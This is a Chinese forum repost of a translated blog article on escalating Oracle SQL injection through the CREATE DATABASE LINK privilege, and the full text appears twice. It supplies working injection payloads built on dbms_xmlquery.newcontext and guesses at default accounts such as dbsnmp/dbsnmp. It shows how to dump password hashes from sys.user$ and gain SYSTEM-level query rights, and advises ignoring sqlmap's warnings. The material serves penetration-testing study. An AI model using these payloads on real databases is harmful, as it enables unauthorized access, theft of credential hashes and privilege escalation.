原文地址:[url]http://www.notsosecure.com/blog/2014/07/08/abusing-oracles-create-database-link-privilege-for-fun-and-profit/[/url]
Oracle数据库(以及其他数据库)提供创建连接到远端数据库服务器的database link功能。可以在远端的数据库上运行数据,并且返回结果。类似MS-SQL的Openrowset/Openquery特征。
[quote]
[color=blue]CREATE DATABASE LINK local
CONNECT TO USERNAME IDENTIFIED BY PASSWORD
USING 'ORCL_SID'[/color]
[/quote]
整型盲注
1. 通过BurpPro
2. 不能使用sqlmap
[b][color=red]TIP1这通常十次有九次成功,但是如果原本的id=5不返回任何记录,你将错过SQLi。所以为了返回记录,可以添加"or 1=1"[/color][/b]
sqlmap将会提示:
[quote]
"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"
[/quote]
忽略警告,选择Y继续,接着SqlMap将会继续工作,你将会得到一个sql shell以及提取你希望的任何东西
[img]http://dl2.iteye.com/upload/attachment/0107/0878/406fd0ad-2923-3df8-aac3-82d5a6d29ed5.png[/img]
接下来发现数据库有这些权限:
[quote]
select privilege from session_privs [17]:
[*] CREATE SESSION
[*] UNLIMITED TABLESPACE
[*] CREATE TABLE
[b][*] CREATE DATABASE LINK[/b]
[/quote]
[color=red][b]TIP2:如果你有CREATE DATABASE LINK权限,你可以在SQLi中暴力破解/猜测user,如果成功,那么可以使用那个user来query[/b][/color]
url如下:
[quote]http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null[/quote]
经过几次尝试,我们获得user dbsnmp的默认口令dbsnmp,我们以dbsnmp创建一个link
[quote]sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual[/quote]
dbsnmp用户有“Select ANY Dictionary”权限,可以允许你读sys.user$中的密码hash
现在我们读取密码hash:
[quote]
sql-shell>select password from sys.user$@link2
[*] 286E1EA8F2CFD262
[*] 45B1C0C3BB1D853C
[*] 4A3BA55E08595C81
....
[/quote]
dbsnmp用户只有读取hash的权限,没有dba的角色。既然我们拥有了system用户的hash,我们现在可以破解,然后使用system user权限来创建hash:
[quote]sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual[/quote]
现在我们可以使用系统权限来执行任何query了。
Oracle数据库(以及其他数据库)提供创建连接到远端数据库服务器的database link功能。可以在远端的数据库上运行数据,并且返回结果。类似MS-SQL的Openrowset/Openquery特征。
[quote]
[color=blue]CREATE DATABASE LINK local
CONNECT TO USERNAME IDENTIFIED BY PASSWORD
USING 'ORCL_SID'[/color]
[/quote]
整型盲注
1. 通过BurpPro
2. 不能使用sqlmap
[b][color=red]TIP1这通常十次有九次成功,但是如果原本的id=5不返回任何记录,你将错过SQLi。所以为了返回记录,可以添加"or 1=1"[/color][/b]
sqlmap将会提示:
[quote]
"[13:24:41] [WARNING] it appears that you have provided tainted parameter values ('id=189881 or 1=1') with most probably leftover chars from manual SQL injection tests (;()') or non-valid numerical value. Please, always use only valid parameter values so sqlmap could be able to properly run
Are you sure you want to continue? [y/N] Y"
[/quote]
忽略警告,选择Y继续,接着SqlMap将会继续工作,你将会得到一个sql shell以及提取你希望的任何东西
[img]http://dl2.iteye.com/upload/attachment/0107/0878/406fd0ad-2923-3df8-aac3-82d5a6d29ed5.png[/img]
接下来发现数据库有这些权限:
[quote]
select privilege from session_privs [17]:
[*] CREATE SESSION
[*] UNLIMITED TABLESPACE
[*] CREATE TABLE
[b][*] CREATE DATABASE LINK[/b]
[/quote]
[color=red][b]TIP2:如果你有CREATE DATABASE LINK权限,你可以在SQLi中暴力破解/猜测user,如果成功,那么可以使用那个user来query[/b][/color]
url如下:
[quote]http://host/vuln.jsp?id=1 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK notsosecure_link CONNECT TO scott IDENTIFIED BY tiger USING ''''ORCL_SID'''' '';commit;end;') from dual) is not null[/quote]
经过几次尝试,我们获得user dbsnmp的默认口令dbsnmp,我们以dbsnmp创建一个link
[quote]sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK link2 CONNECT TO dbsnmp IDENTIFIED BY dbsnmp USING ''''ORCL_SID'''' '';commit;end;') from dual[/quote]
dbsnmp用户有“Select ANY Dictionary”权限,可以允许你读sys.user$中的密码hash
现在我们读取密码hash:
[quote]
sql-shell>select password from sys.user$@link2
[*] 286E1EA8F2CFD262
[*] 45B1C0C3BB1D853C
[*] 4A3BA55E08595C81
....
[/quote]
dbsnmp用户只有读取hash的权限,没有dba的角色。既然我们拥有了system用户的hash,我们现在可以破解,然后使用system user权限来创建hash:
[quote]sql-shell>select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''CREATE DATABASE LINK pwn CONNECT TO system IDENTIFIED BY system_password USING ''''ORCL_SID'''' '';commit;end;') from dual[/quote]
现在我们可以使用系统权限来执行任何query了。